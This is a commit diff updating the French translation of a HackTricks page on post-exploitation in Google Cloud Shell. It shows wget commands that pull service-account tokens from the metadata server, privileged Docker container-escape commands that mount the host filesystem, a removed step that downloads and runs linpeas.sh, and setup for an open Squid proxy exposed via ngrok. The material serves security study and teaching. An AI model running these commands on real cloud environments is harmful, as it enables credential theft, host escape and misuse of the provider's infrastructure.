mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-12 07:40:49 -08:00
Translated ['', 'src/pentesting-cloud/gcp-security/gcp-post-exploitation
This commit is contained in:
Translator
@@ -4,46 +4,46 @@
|
||||
|
||||
## Cloud Shell
|
||||
|
||||
Pour plus d'informations sur Cloud Shell, consultez :
|
||||
Pour plus d'informations sur Cloud Shell, voir :
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-shell-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Container Escape
|
||||
### Obtention du token de l'utilisateur depuis le serveur de métadonnées
|
||||
|
||||
Notez que Google Cloud Shell s'exécute dans un container : vous pouvez **easily escape to the host** en faisant :
|
||||
En accédant simplement au serveur de métadonnées, vous pouvez obtenir un token pour accéder en tant qu'utilisateur actuellement connecté :
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
|
||||
```
|
||||
### Container Escape / Docker use
|
||||
|
||||
> [!WARNING]
|
||||
> Auparavant, le cloud shell s'exécutait dans un conteneur avec accès au docker socket de l'hôte. Maintenant Google a changé l'architecture et le conteneur cloud shell exécute une configuration "Docker in a container". Ainsi, même s'il est possible d'utiliser docker depuis le cloud shell, vous ne pourrez pas vous échapper vers l'hôte en utilisant le docker socket.
|
||||
> Notez qu'auparavant le fichier `docker.sock` était situé dans `/google/host/var/run/docker.sock` mais maintenant il a été déplacé vers `/run/docker.sock`.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Container escape commands</summary>
|
||||
<summary>Docker use / Old container escape commands</summary>
|
||||
```bash
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
|
||||
sudo docker -H unix:///run/docker.sock pull alpine:latest
|
||||
sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
|
||||
sudo docker -H unix:///run/docker.sock start escaper
|
||||
sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh
|
||||
```
|
||||
</details>
|
||||
|
||||
Ceci n'est pas considéré comme une vulnérabilité par google, mais cela vous donne une vision plus large de ce qui se passe dans cet environnement.
|
||||
|
||||
De plus, notez que depuis l'hôte, vous pouvez trouver un service account token :
|
||||
De plus, par le passé, il était possible de trouver un token pour un service account utilisé par le cloud shell VM dans le metadata server :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Récupérer le service account depuis les metadata</summary>
|
||||
<summary>Ancien service account provenant du metadata</summary>
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
|
||||
default/
|
||||
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
|
||||
```
|
||||
</details>
|
||||
|
||||
Avec les scopes suivants :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Obtenir les scopes du compte de service</summary>
|
||||
Avec les autorisations (scopes) suivantes :
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
|
||||
|
||||
@@ -53,23 +53,11 @@ https://www.googleapis.com/auth/monitoring.write
|
||||
```
|
||||
</details>
|
||||
|
||||
Énumérer les métadonnées avec LinPEAS :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Énumérer les métadonnées avec LinPEAS</summary>
|
||||
```bash
|
||||
cd /tmp
|
||||
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
|
||||
sh linpeas.sh -o cloud
|
||||
```
|
||||
</details>
|
||||
|
||||
Après avoir utilisé [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) avec le token du Service Account **aucune permission n'a été découverte**...
|
||||
|
||||
### L'utiliser comme proxy
|
||||
|
||||
Si vous voulez utiliser votre instance google cloud shell comme proxy, vous devez exécuter les commandes suivantes (ou les insérer dans le fichier .bashrc) :
|
||||
Si vous voulez utiliser votre google cloud shell instance comme proxy vous devez exécuter les commandes suivantes (ou les insérer dans le fichier .bashrc) :
|
||||
|
||||
<details>
|
||||
|
||||
@@ -79,7 +67,7 @@ sudo apt install -y squid
|
||||
```
|
||||
</details>
|
||||
|
||||
À titre d'information, Squid est un serveur proxy http. Créez un fichier **squid.conf** avec les paramètres suivants :
|
||||
Pour information, Squid est un serveur proxy http. Créez un fichier **squid.conf** avec les paramètres suivants :
|
||||
|
||||
<details>
|
||||
|
||||
@@ -92,11 +80,11 @@ http_access allow all
|
||||
```
|
||||
</details>
|
||||
|
||||
Copiez le fichier **squid.conf** dans **/etc/squid**
|
||||
copiez le fichier **squid.conf** dans **/etc/squid**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Copier la configuration dans /etc/squid</summary>
|
||||
<summary>Copier la configuration dans **/etc/squid**</summary>
|
||||
```bash
|
||||
sudo cp squid.conf /etc/squid
|
||||
```
|
||||
@@ -112,7 +100,7 @@ sudo service squid start
|
||||
```
|
||||
</details>
|
||||
|
||||
Utilisez ngrok pour rendre le proxy accessible depuis l'extérieur :
|
||||
Utilisez ngrok pour rendre le proxy accessible depuis l'extérieur :
|
||||
|
||||
<details>
|
||||
|
||||
@@ -122,9 +110,9 @@ Utilisez ngrok pour rendre le proxy accessible depuis l'extérieur :
|
||||
```
|
||||
</details>
|
||||
|
||||
Après exécution, copiez l'URL tcp://. Si vous souhaitez lancer le proxy depuis un browser, il est conseillé de retirer la partie tcp:// ainsi que le numéro de port, puis de mettre ce port dans le champ de port des paramètres proxy de votre browser (squid est un http proxy server).
|
||||
Après exécution, copiez l'URL tcp://. Si vous souhaitez utiliser le proxy depuis un navigateur, il est conseillé de supprimer la partie tcp:// et le port, puis de mettre le port dans le champ de port des paramètres proxy de votre navigateur (squid is a http proxy server).
|
||||
|
||||
Pour un meilleur fonctionnement au démarrage le fichier .bashrc doit contenir les lignes suivantes :
|
||||
Pour une meilleure utilisation au démarrage, le fichier .bashrc devrait contenir les lignes suivantes :
|
||||
|
||||
<details>
|
||||
|
||||
@@ -137,6 +125,6 @@ cd ngrok;./ngrok tcp 3128
|
||||
```
|
||||
</details>
|
||||
|
||||
Les instructions ont été copiées depuis [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Consultez cette page pour d'autres idées folles pour exécuter n'importe quel type de logiciel (databases et même windows) dans Cloud Shell.
|
||||
Les instructions ont été copiées depuis [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key]. Consultez cette page pour d'autres idées folles permettant d'exécuter n'importe quel type de logiciel (bases de données et même Windows) dans Cloud Shell.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user